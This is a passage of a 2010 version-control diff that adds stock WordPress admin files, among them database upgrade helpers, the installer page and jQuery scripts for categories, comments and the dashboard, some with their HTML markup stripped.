    '; + * ++$error_count; + * } + * + * + * @package WordPress + * @subpackage Plugin + */ + +/** + * @global bool $wp_only_load_config + * @name $wp_only_load_config + * @var bool + * @since unknown + */ +$wp_only_load_config = true; + +/** Load WordPress Bootstrap */ +require_once(dirname(dirname(__FILE__)).'/wp-load.php'); + +/** + * Turn debugging on or off. + * @global bool|int $debug + * @name $debug + * @var bool|int + * @since unknown + */ +$debug = 0; + +if ( ! function_exists('maybe_create_table') ) : +/** + * Create database table, if it doesn't already exist. + * + * @since unknown + * @package WordPress + * @subpackage Plugin + * @uses $wpdb + * + * @param string $table_name Database table name. + * @param string $create_ddl Create database table SQL. + * @return bool False on error, true if already exists or success. + */ +function maybe_create_table($table_name, $create_ddl) { + global $wpdb; + foreach ($wpdb->get_col("SHOW TABLES",0) as $table ) { + if ($table == $table_name) { + return true; + } + } + //didn't find it try to create it. + $wpdb->query($create_ddl); + // we cannot directly tell that whether this succeeded! + foreach ($wpdb->get_col("SHOW TABLES",0) as $table ) { + if ($table == $table_name) { + return true; + } + } + return false; +} +endif; + +if ( ! function_exists('maybe_add_column') ) : +/** + * Add column to database table, if column doesn't already exist in table. + * + * @since unknown + * @package WordPress + * @subpackage Plugin + * @uses $wpdb + * @uses $debug + * + * @param string $table_name Database table name + * @param string $column_name Table column name + * @param string $create_ddl SQL to add column to table. + * @return bool False on failure. True, if already exists or was successful. + */ +function maybe_add_column($table_name, $column_name, $create_ddl) { + global $wpdb, $debug; + foreach ($wpdb->get_col("DESC $table_name",0) as $column ) { + if ($debug) echo("checking $column == $column_name
    "); + + if ($column == $column_name) { + return true; + } + } + //didn't find it try to create it. + $wpdb->query($create_ddl); + // we cannot directly tell that whether this succeeded! + foreach ($wpdb->get_col("DESC $table_name",0) as $column ) { + if ($column == $column_name) { + return true; + } + } + return false; +} +endif; + +/** + * Drop column from database table, if it exists. + * + * @since unknown + * @package WordPress + * @subpackage Plugin + * @uses $wpdb + * + * @param string $table_name Table name + * @param string $column_name Column name + * @param string $drop_ddl SQL statement to drop column. + * @return bool False on failure, true on success or doesn't exist. + */ +function maybe_drop_column($table_name, $column_name, $drop_ddl) { + global $wpdb; + foreach ($wpdb->get_col("DESC $table_name",0) as $column ) { + if ($column == $column_name) { + //found it try to drop it. + $wpdb->query($drop_ddl); + // we cannot directly tell that whether this succeeded! + foreach ($wpdb->get_col("DESC $table_name",0) as $column ) { + if ($column == $column_name) { + return false; + } + } + } + } + // else didn't find it + return true; +} + +/** + * Check column matches criteria. + * + * Uses the SQL DESC for retrieving the table info for the column. It will help + * understand the parameters, if you do more research on what column information + * is returned by the SQL statement. Pass in null to skip checking that + * criteria. + * + * Column names returned from DESC table are case sensitive and are listed: + * Field + * Type + * Null + * Key + * Default + * Extra + * + * @since unknown + * @package WordPress + * @subpackage Plugin + * + * @param string $table_name Table name + * @param string $col_name Column name + * @param string $col_type Column type + * @param bool $is_null Optional. Check is null. + * @param mixed $key Optional. Key info. + * @param mixed $default Optional. Default value. + * @param mixed $extra Optional. Extra value. + * @return bool True, if matches. False, if not matching. + */ +function check_column($table_name, $col_name, $col_type, $is_null = null, $key = null, $default = null, $extra = null) { + global $wpdb, $debug; + $diffs = 0; + $results = $wpdb->get_results("DESC $table_name"); + + foreach ($results as $row ) { + if ($debug > 1) print_r($row); + + if ($row->Field == $col_name) { + // got our column, check the params + if ($debug) echo ("checking $row->Type against $col_type\n"); + if (($col_type != null) && ($row->Type != $col_type)) { + ++$diffs; + } + if (($is_null != null) && ($row->Null != $is_null)) { + ++$diffs; + } + if (($key != null) && ($row->Key != $key)) { + ++$diffs; + } + if (($default != null) && ($row->Default != $default)) { + ++$diffs; + } + if (($extra != null) && ($row->Extra != $extra)) { + ++$diffs; + } + if ($diffs > 0) { + if ($debug) echo ("diffs = $diffs returning false\n"); + return false; + } + return true; + } // end if found our column + } + return false; +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/install.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/install.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,173 @@ + + +> + + + <?php _e('WordPress › Installation'); ?> + + + +

    WordPress

    + + +

    ERROR: %s'), $error); ?>

    + +
    + + + + + + + + + + + + +

    +
    +

    +
    +'.__('Already Installed').'

    '.__('You appear to have already installed WordPress. To reinstall please clear your old database tables first.').'

    ');} + +$php_version = phpversion(); +$mysql_version = $wpdb->db_version(); +$php_compat = version_compare( $php_version, $required_php_version, '>=' ); +$mysql_compat = version_compare( $mysql_version, $required_mysql_version, '>=' ) || file_exists( WP_CONTENT_DIR . '/db.php' ); + +if ( !$mysql_compat && !$php_compat ) + $compat = sprintf( __('You cannot install because WordPress %1$s requires PHP version %2$s or higher and MySQL version %3$s or higher. You are running PHP version %4$s and MySQL version %5$s.'), $wp_version, $required_php_version, $required_mysql_version, $php_version, $mysql_version ); +elseif ( !$php_compat ) + $compat = sprintf( __('You cannot install because WordPress %1$s requires PHP version %2$s or higher. You are running version %3$s.'), $wp_version, $required_php_version, $php_version ); +elseif ( !$mysql_compat ) + $compat = sprintf( __('You cannot install because WordPress %1$s requires MySQL version %2$s or higher. You are running version %3$s.'), $wp_version, $required_mysql_version, $mysql_version ); + +if ( !$mysql_compat || !$php_compat ) { + display_header(); + die('

    ' . __('Insufficient Requirements') . '

    ' . $compat . '

    '); +} + +switch($step) { + case 0: + case 1: // in case people are directly linking to this + display_header(); +?> +

    +

    ReadMe documentation at your leisure. Otherwise, just fill in the information below and you’ll be on your way to using the most extendable and powerful personal publishing platform in the world.'), '../readme.html'); ?>

    + + +

    +

    + + + +error) ) + wp_die($wpdb->error->get_error_message()); + + display_header(); + // Fill in the data we gathered + $weblog_title = isset($_POST['weblog_title']) ? stripslashes($_POST['weblog_title']) : ''; + $admin_email = isset($_POST['admin_email']) ? stripslashes($_POST['admin_email']) : ''; + $public = isset($_POST['blog_public']) ? (int) $_POST['blog_public'] : 0; + // check e-mail address + $error = false; + if (empty($admin_email)) { + // TODO: poka-yoke + display_setup_form( __('you must provide an e-mail address.') ); + $error = true; + } else if (!is_email($admin_email)) { + // TODO: poka-yoke + display_setup_form( __('that isn’t a valid e-mail address. E-mail addresses look like: username@example.com') ); + $error = true; + } + + if ( $error === false ) { + $wpdb->show_errors(); + $result = wp_install($weblog_title, 'admin', $admin_email, $public); + extract($result, EXTR_SKIP); +?> + +

    + +

    + + + + + + + + + + +
    admin
    '. $password .'
    '; + } + echo '

    '. $password_message .'

    '; ?>
    + +

    + + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/cat.dev.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/cat.dev.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,5 @@ +jQuery(document).ready( function($) { + var myConfirm = function() { return '' !== $('#newcat').val(); }; + $('#jaxcat').prepend('' + catL10n.how + ''); + $('#categorychecklist').wpList( { alt: '', response: 'cat-ajax-response', confirm: myConfirm } ); +} ); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/cat.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/cat.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +jQuery(document).ready(function(b){var a=function(){return""!==b("#newcat").val()};b("#jaxcat").prepend(''+catL10n.how+'');b("#categorychecklist").wpList({alt:"",response:"cat-ajax-response",confirm:a})}); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/categories.dev.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/categories.dev.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,34 @@ +jQuery(document).ready(function($) { + var options = false, addAfter, delBefore, delAfter; + if ( document.forms['addcat'].category_parent ) + options = document.forms['addcat'].category_parent.options; + + addAfter = function( r, settings ) { + var name, id; + + name = $("" + $('name', r).text() + "").text(); + id = $('cat', r).attr('id'); + options[options.length] = new Option(name, id); + } + + delAfter = function( r, settings ) { + var id = $('cat', r).attr('id'), o; + for ( o = 0; o < options.length; o++ ) + if ( id == options[o].value ) + options[o] = null; + } + + delBefore = function(s) { + if ( 'undefined' != showNotice ) + return showNotice.warn() ? s : false; + + return s; + } + + if ( options ) + $('#the-list').wpList( { addAfter: addAfter, delBefore: delBefore, delAfter: delAfter } ); + else + $('#the-list').wpList({ delBefore: delBefore }); + + $('.delete a[class^="delete"]').live('click', function(){return false;}); +}); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/categories.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/categories.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +jQuery(document).ready(function(d){var b=false,e,c,a;if(document.forms.addcat.category_parent){b=document.forms.addcat.category_parent.options}e=function(h,g){var f,i;f=d(""+d("name",h).text()+"").text();i=d("cat",h).attr("id");b[b.length]=new Option(f,i)};a=function(g,f){var i=d("cat",g).attr("id"),h;for(h=0;h' + + $( '#mm option[value=' + mm + ']' ).text() + ' ' + + jj + ', ' + + aa + ' @ ' + + hh + ':' + + mn + ' ' + ); + return false; + }); +}); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/comment.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/comment.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +jQuery(document).ready(function(b){var a=b("#timestamp").html();b(".edit-timestamp").click(function(){if(b("#timestampdiv").is(":hidden")){b("#timestampdiv").slideDown("normal");b(".edit-timestamp").hide()}return false});b(".cancel-timestamp").click(function(){b("#timestampdiv").slideUp("normal");b("#mm").val(b("#hidden_mm").val());b("#jj").val(b("#hidden_jj").val());b("#aa").val(b("#hidden_aa").val());b("#hh").val(b("#hidden_hh").val());b("#mn").val(b("#hidden_mn").val());b("#timestamp").html(a);b(".edit-timestamp").show();return false});b(".save-timestamp").click(function(){var g=b("#aa").val(),h=b("#mm").val(),d=b("#jj").val(),c=b("#hh").val(),f=b("#mn").val(),e=new Date(g,h-1,d,c,f);if(e.getFullYear()!=g||(1+e.getMonth())!=h||e.getDate()!=d||e.getMinutes()!=f){b(".timestamp-wrap","#timestampdiv").addClass("form-invalid");return false}else{b(".timestamp-wrap","#timestampdiv").removeClass("form-invalid")}b("#timestampdiv").slideUp("normal");b(".edit-timestamp").show();b("#timestamp").html(commentL10n.submittedOn+" "+b("#mm option[value="+h+"]").text()+" "+d+", "+g+" @ "+c+":"+f+" ");return false})}); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/common.dev.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/common.dev.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,290 @@ +var showNotice, adminMenu, columns, validateForm; +(function($){ +// sidebar admin menu +adminMenu = { + init : function() { + var menu = $('#adminmenu'); + + $('.wp-menu-toggle', menu).each( function() { + var t = $(this), sub = t.siblings('.wp-submenu'); + if ( sub.length ) + t.click(function(){ adminMenu.toggle( sub ); }); + else + t.hide(); + }); + + this.favorites(); + + $('.separator', menu).click(function(){ + if ( $('body').hasClass('folded') ) { + adminMenu.fold(1); + deleteUserSetting( 'mfold' ); + } else { + adminMenu.fold(); + setUserSetting( 'mfold', 'f' ); + } + return false; + }); + + if ( $('body').hasClass('folded') ) + this.fold(); + + this.restoreMenuState(); + }, + + restoreMenuState : function() { + $('li.wp-has-submenu', '#adminmenu').each(function(i, e) { + var v = getUserSetting( 'm'+i ); + if ( $(e).hasClass('wp-has-current-submenu') ) + return true; // leave the current parent open + + if ( 'o' == v ) + $(e).addClass('wp-menu-open'); + else if ( 'c' == v ) + $(e).removeClass('wp-menu-open'); + }); + }, + + toggle : function(el) { + var id = el.slideToggle(150, function() { + el.css('display',''); + }).parent().toggleClass( 'wp-menu-open' ).attr('id'); + + if ( id ) { + $('li.wp-has-submenu', '#adminmenu').each(function(i, e) { + if ( id == e.id ) { + var v = $(e).hasClass('wp-menu-open') ? 'o' : 'c'; + setUserSetting( 'm'+i, v ); + } + }); + } + + return false; + }, + + fold : function(off) { + if (off) { + $('body').removeClass('folded'); + $('#adminmenu li.wp-has-submenu').unbind(); + } else { + $('body').addClass('folded'); + $('#adminmenu li.wp-has-submenu').hoverIntent({ + over: function(e){ + var m, b, h, o, f; + m = $(this).find('.wp-submenu'); + b = $(this).offset().top + m.height() + 1; // Bottom offset of the menu + h = $('#wpwrap').height(); // Height of the entire page + o = 60 + b - h; + f = $(window).height() + $(window).scrollTop() - 15; // The fold + if ( f < (b - o) ) { + o = b - f; + } + if ( o > 1 ) { + m.css({'marginTop':'-'+o+'px'}); + } else if ( m.css('marginTop') ) { + m.css({'marginTop':''}); + } + m.addClass('sub-open'); + }, + out: function(){ $(this).find('.wp-submenu').removeClass('sub-open').css({'marginTop':''}); }, + timeout: 220, + sensitivity: 8, + interval: 100 + }); + + } + }, + + favorites : function() { + $('#favorite-inside').width( $('#favorite-actions').width() - 4 ); + $('#favorite-toggle, #favorite-inside').bind('mouseenter', function() { + $('#favorite-inside').removeClass('slideUp').addClass('slideDown'); + setTimeout(function() { + if ( $('#favorite-inside').hasClass('slideDown') ) { + $('#favorite-inside').slideDown(100); + $('#favorite-first').addClass('slide-down'); + } + }, 200); + }).bind('mouseleave', function() { + $('#favorite-inside').removeClass('slideDown').addClass('slideUp'); + setTimeout(function() { + if ( $('#favorite-inside').hasClass('slideUp') ) { + $('#favorite-inside').slideUp(100, function() { + $('#favorite-first').removeClass('slide-down'); + }); + } + }, 300); + }); + } +}; + +$(document).ready(function(){ adminMenu.init(); }); + +// show/hide/save table columns +columns = { + init : function() { + $('.hide-column-tog', '#adv-settings').click( function() { + var column = $(this).val(); + if ( $(this).attr('checked') ) + $('.column-' + column).show(); + else + $('.column-' + column).hide(); + + columns.save_manage_columns_state(); + }); + }, + + save_manage_columns_state : function() { + var hidden = $('.manage-column').filter(':hidden').map(function() { return this.id; }).get().join(','); + $.post(ajaxurl, { + action: 'hidden-columns', + hidden: hidden, + screenoptionnonce: $('#screenoptionnonce').val(), + page: pagenow + }); + } +} + +$(document).ready(function(){columns.init();}); + +validateForm = function( form ) { + return !$( form ).find('.form-required').filter( function() { return $('input:visible', this).val() == ''; } ).addClass( 'form-invalid' ).find('input:visible').change( function() { $(this).closest('.form-invalid').removeClass( 'form-invalid' ); } ).size(); +} + +})(jQuery); + +// stub for doing better warnings +showNotice = { + warn : function() { + var msg = commonL10n.warnDelete || ''; + if ( confirm(msg) ) { + return true; + } + + return false; + }, + + note : function(text) { + alert(text); + } +}; + +jQuery(document).ready( function($) { + var lastClicked = false, checks, first, last, checked; + + // Move .updated and .error alert boxes + $('div.wrap h2:first').nextAll('div.updated, div.error').addClass('below-h2'); + $('div.updated, div.error').not('.below-h2').insertAfter( $('div.wrap h2:first') ); + + // screen settings tab + $('#show-settings-link').click(function () { + if ( ! $('#screen-options-wrap').hasClass('screen-options-open') ) + $('#contextual-help-link-wrap').css('visibility', 'hidden'); + + $('#screen-options-wrap').slideToggle('fast', function(){ + if ( $(this).hasClass('screen-options-open') ) { + $('#show-settings-link').css({'backgroundImage':'url("images/screen-options-right.gif")'}); + $('#contextual-help-link-wrap').css('visibility', ''); + $(this).removeClass('screen-options-open'); + } else { + $('#show-settings-link').css({'backgroundImage':'url("images/screen-options-right-up.gif")'}); + $(this).addClass('screen-options-open'); + } + }); + return false; + }); + + // help tab + $('#contextual-help-link').click(function () { + if ( ! $('#contextual-help-wrap').hasClass('contextual-help-open') ) + $('#screen-options-link-wrap').css('visibility', 'hidden'); + + $('#contextual-help-wrap').slideToggle('fast', function() { + if ( $(this).hasClass('contextual-help-open') ) { + $('#contextual-help-link').css({'backgroundImage':'url("images/screen-options-right.gif")'}); + $('#screen-options-link-wrap').css('visibility', ''); + $(this).removeClass('contextual-help-open'); + } else { + $('#contextual-help-link').css({'backgroundImage':'url("images/screen-options-right-up.gif")'}); + $(this).addClass('contextual-help-open'); + } + }); + return false; + }); + + // check all checkboxes + $('tbody').children().children('.check-column').find(':checkbox').click( function(e) { + if ( 'undefined' == e.shiftKey ) { return true; } + if ( e.shiftKey ) { + if ( !lastClicked ) { return true; } + checks = $( lastClicked ).closest( 'form' ).find( ':checkbox' ); + first = checks.index( lastClicked ); + last = checks.index( this ); + checked = $(this).attr('checked'); + if ( 0 < first && 0 < last && first != last ) { + checks.slice( first, last ).attr( 'checked', function(){ + if ( $(this).closest('tr').is(':visible') ) + return checked ? 'checked' : ''; + + return ''; + }); + } + } + lastClicked = this; + return true; + }); + + $('thead, tfoot').find(':checkbox').click( function(e) { + var c = $(this).attr('checked'), + kbtoggle = 'undefined' == typeof toggleWithKeyboard ? false : toggleWithKeyboard, + toggle = e.shiftKey || kbtoggle; + + $(this).closest( 'table' ).children( 'tbody' ).filter(':visible') + .children().children('.check-column').find(':checkbox') + .attr('checked', function() { + if ( $(this).closest('tr').is(':hidden') ) + return ''; + if ( toggle ) + return $(this).attr( 'checked' ) ? '' : 'checked'; + else if (c) + return 'checked'; + return ''; + }); + + $(this).closest('table').children('thead, tfoot').filter(':visible') + .children().children('.check-column').find(':checkbox') + .attr('checked', function() { + if ( toggle ) + return ''; + else if (c) + return 'checked'; + return ''; + }); + }); + + $('#default-password-nag-no').click( function() { + setUserSetting('default_password_nag', 'hide'); + $('div.default-password-nag').hide(); + return false; + }); +}); + +jQuery(document).ready( function($){ + var turboNag = $('span.turbo-nag', '#user_info'); + + if ( !turboNag.length || ('undefined' != typeof(google) && google.gears) ) + return; + + if ( 'undefined' != typeof GearsFactory ) { + return; + } else { + try { + if ( ( 'undefined' != typeof window.ActiveXObject && ActiveXObject('Gears.Factory') ) || + ( 'undefined' != typeof navigator.mimeTypes && navigator.mimeTypes['application/x-googlegears'] ) ) { + return; + } + } catch(e){} + } + + turboNag.show(); +}); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/common.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/common.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +var showNotice,adminMenu,columns,validateForm;(function(a){adminMenu={init:function(){var b=a("#adminmenu");a(".wp-menu-toggle",b).each(function(){var c=a(this),d=c.siblings(".wp-submenu");if(d.length){c.click(function(){adminMenu.toggle(d)})}else{c.hide()}});this.favorites();a(".separator",b).click(function(){if(a("body").hasClass("folded")){adminMenu.fold(1);deleteUserSetting("mfold")}else{adminMenu.fold();setUserSetting("mfold","f")}return false});if(a("body").hasClass("folded")){this.fold()}this.restoreMenuState()},restoreMenuState:function(){a("li.wp-has-submenu","#adminmenu").each(function(c,d){var b=getUserSetting("m"+c);if(a(d).hasClass("wp-has-current-submenu")){return true}if("o"==b){a(d).addClass("wp-menu-open")}else{if("c"==b){a(d).removeClass("wp-menu-open")}}})},toggle:function(b){var c=b.slideToggle(150,function(){b.css("display","")}).parent().toggleClass("wp-menu-open").attr("id");if(c){a("li.wp-has-submenu","#adminmenu").each(function(f,g){if(c==g.id){var d=a(g).hasClass("wp-menu-open")?"o":"c";setUserSetting("m"+f,d)}})}return false},fold:function(b){if(b){a("body").removeClass("folded");a("#adminmenu li.wp-has-submenu").unbind()}else{a("body").addClass("folded");a("#adminmenu li.wp-has-submenu").hoverIntent({over:function(j){var d,c,g,k,i;d=a(this).find(".wp-submenu");c=a(this).offset().top+d.height()+1;g=a("#wpwrap").height();k=60+c-g;i=a(window).height()+a(window).scrollTop()-15;if(i<(c-k)){k=c-i}if(k>1){d.css({marginTop:"-"+k+"px"})}else{if(d.css("marginTop")){d.css({marginTop:""})}}d.addClass("sub-open")},out:function(){a(this).find(".wp-submenu").removeClass("sub-open").css({marginTop:""})},timeout:220,sensitivity:8,interval:100})}},favorites:function(){a("#favorite-inside").width(a("#favorite-actions").width()-4);a("#favorite-toggle, #favorite-inside").bind("mouseenter",function(){a("#favorite-inside").removeClass("slideUp").addClass("slideDown");setTimeout(function(){if(a("#favorite-inside").hasClass("slideDown")){a("#favorite-inside").slideDown(100);a("#favorite-first").addClass("slide-down")}},200)}).bind("mouseleave",function(){a("#favorite-inside").removeClass("slideDown").addClass("slideUp");setTimeout(function(){if(a("#favorite-inside").hasClass("slideUp")){a("#favorite-inside").slideUp(100,function(){a("#favorite-first").removeClass("slide-down")})}},300)})}};a(document).ready(function(){adminMenu.init()});columns={init:function(){a(".hide-column-tog","#adv-settings").click(function(){var b=a(this).val();if(a(this).attr("checked")){a(".column-"+b).show()}else{a(".column-"+b).hide()}columns.save_manage_columns_state()})},save_manage_columns_state:function(){var b=a(".manage-column").filter(":hidden").map(function(){return this.id}).get().join(",");a.post(ajaxurl,{action:"hidden-columns",hidden:b,screenoptionnonce:a("#screenoptionnonce").val(),page:pagenow})}};a(document).ready(function(){columns.init()});validateForm=function(b){return !a(b).find(".form-required").filter(function(){return a("input:visible",this).val()==""}).addClass("form-invalid").find("input:visible").change(function(){a(this).closest(".form-invalid").removeClass("form-invalid")}).size()}})(jQuery);showNotice={warn:function(){var a=commonL10n.warnDelete||"";if(confirm(a)){return true}return false},note:function(a){alert(a)}};jQuery(document).ready(function(d){var f=false,a,e,c,b;d("div.wrap h2:first").nextAll("div.updated, div.error").addClass("below-h2");d("div.updated, div.error").not(".below-h2").insertAfter(d("div.wrap h2:first"));d("#show-settings-link").click(function(){if(!d("#screen-options-wrap").hasClass("screen-options-open")){d("#contextual-help-link-wrap").css("visibility","hidden")}d("#screen-options-wrap").slideToggle("fast",function(){if(d(this).hasClass("screen-options-open")){d("#show-settings-link").css({backgroundImage:'url("images/screen-options-right.gif")'});d("#contextual-help-link-wrap").css("visibility","");d(this).removeClass("screen-options-open")}else{d("#show-settings-link").css({backgroundImage:'url("images/screen-options-right-up.gif")'});d(this).addClass("screen-options-open")}});return false});d("#contextual-help-link").click(function(){if(!d("#contextual-help-wrap").hasClass("contextual-help-open")){d("#screen-options-link-wrap").css("visibility","hidden")}d("#contextual-help-wrap").slideToggle("fast",function(){if(d(this).hasClass("contextual-help-open")){d("#contextual-help-link").css({backgroundImage:'url("images/screen-options-right.gif")'});d("#screen-options-link-wrap").css("visibility","");d(this).removeClass("contextual-help-open")}else{d("#contextual-help-link").css({backgroundImage:'url("images/screen-options-right-up.gif")'});d(this).addClass("contextual-help-open")}});return false});d("tbody").children().children(".check-column").find(":checkbox").click(function(g){if("undefined"==g.shiftKey){return true}if(g.shiftKey){if(!f){return true}a=d(f).closest("form").find(":checkbox");e=a.index(f);c=a.index(this);b=d(this).attr("checked");if(0' ); + $('#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]').attr('disabled','disabled'); + + if ( 'post' == act.val() ) { + act.val( 'post-quickpress-publish' ); + } + + $('#dashboard_quick_press div.inside').load( t.attr( 'action' ), t.serializeArray(), function() { + $('#dashboard_quick_press h3 img').remove(); + $('#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]').attr('disabled',''); + $('#dashboard_quick_press ul').find('li').each( function() { + $('#dashboard_recent_drafts ul').prepend( this ); + } ).end().remove(); + tb_init('a.thickbox'); + quickPressLoad(); + } ); + return false; + } ); + + $('#publish').click( function() { act.val( 'post-quickpress-publish' ); } ); + + }; + quickPressLoad(); + +} ); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/dashboard.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/dashboard.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +var ajaxWidgets,ajaxPopulateWidgets,quickPressLoad;jQuery(document).ready(function(a){ajaxWidgets=["dashboard_incoming_links","dashboard_primary","dashboard_secondary","dashboard_plugins"];ajaxPopulateWidgets=function(b){show=function(g,c){var f,d=a("#"+g+" div.inside:visible").find(".widget-loading");if(d.length){f=d.parent();setTimeout(function(){f.load("index-extra.php?jax="+g,"",function(){f.hide().slideDown("normal",function(){a(this).css("display","");if("dashboard_plugins"==g&&a.isFunction(tb_init)){tb_init("#dashboard_plugins a.thickbox")}})})},c*500)}};if(b){b=b.toString();if(a.inArray(b,ajaxWidgets)!=-1){show(b,0)}}else{a.each(ajaxWidgets,function(c){show(this,c)})}};ajaxPopulateWidgets();postboxes.add_postbox_toggles("dashboard",{pbshow:ajaxPopulateWidgets});quickPressLoad=function(){var b=a("#quickpost-action"),c;c=a("#quick-press").submit(function(){a("#dashboard_quick_press h3").append('');a('#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]').attr("disabled","disabled");if("post"==b.val()){b.val("post-quickpress-publish")}a("#dashboard_quick_press div.inside").load(c.attr("action"),c.serializeArray(),function(){a("#dashboard_quick_press h3 img").remove();a('#quick-press .submit input[type="submit"], #quick-press .submit input[type="reset"]').attr("disabled","");a("#dashboard_quick_press ul").find("li").each(function(){a("#dashboard_recent_drafts ul").prepend(this)}).end().remove();tb_init("a.thickbox");quickPressLoad()});return false});a("#publish").click(function(){b.val("post-quickpress-publish")})};quickPressLoad()}); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/edit-comments.dev.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/edit-comments.dev.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,501 @@ +var theList, theExtraList, toggleWithKeyboard = false; +(function($) { + +setCommentsList = function() { + var totalInput, perPageInput, pageInput, lastConfidentTime = 0, dimAfter, delBefore, updateTotalCount, delAfter; + + totalInput = $('.tablenav input[name="_total"]', '#comments-form'); + perPageInput = $('.tablenav input[name="_per_page"]', '#comments-form'); + pageInput = $('.tablenav input[name="_page"]', '#comments-form'); + + dimAfter = function( r, settings ) { + var c = $('#' + settings.element); + + if ( c.is('.unapproved') ) + c.find('div.comment_status').html('0') + else + c.find('div.comment_status').html('1') + + $('span.pending-count').each( function() { + var a = $(this), n, dif; + n = a.html().replace(/[^0-9]+/g, ''); + n = parseInt(n,10); + if ( isNaN(n) ) return; + dif = $('#' + settings.element).is('.' + settings.dimClass) ? 1 : -1; + n = n + dif; + if ( n < 0 ) { n = 0; } + a.closest('#awaiting-mod')[ 0 == n ? 'addClass' : 'removeClass' ]('count-0'); + updateCount(a, n); + dashboardTotals(); + }); + }; + + // Send current total, page, per_page and url + delBefore = function( settings, list ) { + var cl = $(settings.target).attr('className'), id, el, n, h, a, author, action = false; + + settings.data._total = totalInput.val() || 0; + settings.data._per_page = perPageInput.val() || 0; + settings.data._page = pageInput.val() || 0; + settings.data._url = document.location.href; + + if ( cl.indexOf(':trash=1') != -1 ) + action = 'trash'; + else if ( cl.indexOf(':spam=1') != -1 ) + action = 'spam'; + + if ( action ) { + id = cl.replace(/.*?comment-([0-9]+).*/, '$1'); + el = $('#comment-' + id); + note = $('#' + action + '-undo-holder').html(); + + if ( el.siblings('#replyrow').length && commentReply.cid == id ) + commentReply.close(); + + if ( el.is('tr') ) { + n = el.children(':visible').length; + author = $('.author strong', el).text(); + h = $('' + note + ''); + } else { + author = $('.comment-author', el).text(); + h = $(''); + } + + el.before(h); + + $('strong', '#undo-' + id).text(author + ' '); + a = $('.undo a', '#undo-' + id); + a.attr('href', 'comment.php?action=un' + action + 'comment&c=' + id + '&_wpnonce=' + settings.data._ajax_nonce); + a.attr('className', 'delete:the-comment-list:comment-' + id + '::un' + action + '=1 vim-z vim-destructive'); + $('.avatar', el).clone().prependTo('#undo-' + id + ' .' + action + '-undo-inside'); + + a.click(function(){ + list.wpList.del(this); + $('#undo-' + id).css( {backgroundColor:'#ceb'} ).fadeOut(350, function(){ + $(this).remove(); + $('#comment-' + id).css('backgroundColor', '').fadeIn(300, function(){ $(this).show() }); + }); + return false; + }); + } + + return settings; + }; + + // Updates the current total (as displayed visibly) + updateTotalCount = function( total, time, setConfidentTime ) { + if ( time < lastConfidentTime ) + return; + + if ( setConfidentTime ) + lastConfidentTime = time; + + totalInput.val( total.toString() ); + $('span.total-type-count').each( function() { + updateCount( $(this), total ); + }); + }; + + function dashboardTotals(n) { + var dash = $('#dashboard_right_now'), total, appr, totalN, apprN; + + n = n || 0; + if ( isNaN(n) || !dash.length ) + return; + + total = $('span.total-count', dash); + appr = $('span.approved-count', dash); + totalN = getCount(total); + + totalN = totalN + n; + apprN = totalN - getCount( $('span.pending-count', dash) ) - getCount( $('span.spam-count', dash) ); + updateCount(total, totalN); + updateCount(appr, apprN); + + } + + function getCount(el) { + var n = parseInt( el.html().replace(/[^0-9]+/g, ''), 10 ); + if ( isNaN(n) ) + return 0; + return n; + } + + function updateCount(el, n) { + var n1 = ''; + if ( isNaN(n) ) + return; + n = n < 1 ? '0' : n.toString(); + if ( n.length > 3 ) { + while ( n.length > 3 ) { + n1 = thousandsSeparator + n.substr(n.length - 3) + n1; + n = n.substr(0, n.length - 3); + } + n = n + n1; + } + el.html(n); + } + + // In admin-ajax.php, we send back the unix time stamp instead of 1 on success + delAfter = function( r, settings ) { + var total, pageLinks, N, untrash = $(settings.target).parent().is('span.untrash'), unspam = $(settings.target).parent().is('span.unspam'), spam, trash; + + function getUpdate(s) { + if ( $(settings.target).parent().is('span.' + s) ) + return 1; + else if ( $('#' + settings.element).is('.' + s) ) + return -1; + + return 0; + } + spam = getUpdate('spam'); + trash = getUpdate('trash'); + + if ( untrash ) + trash = -1; + if ( unspam ) + spam = -1; + + $('span.pending-count').each( function() { + var a = $(this), n = getCount(a), unapproved = $('#' + settings.element).is('.unapproved'); + + if ( $(settings.target).parent().is('span.unapprove') || ( ( untrash || unspam 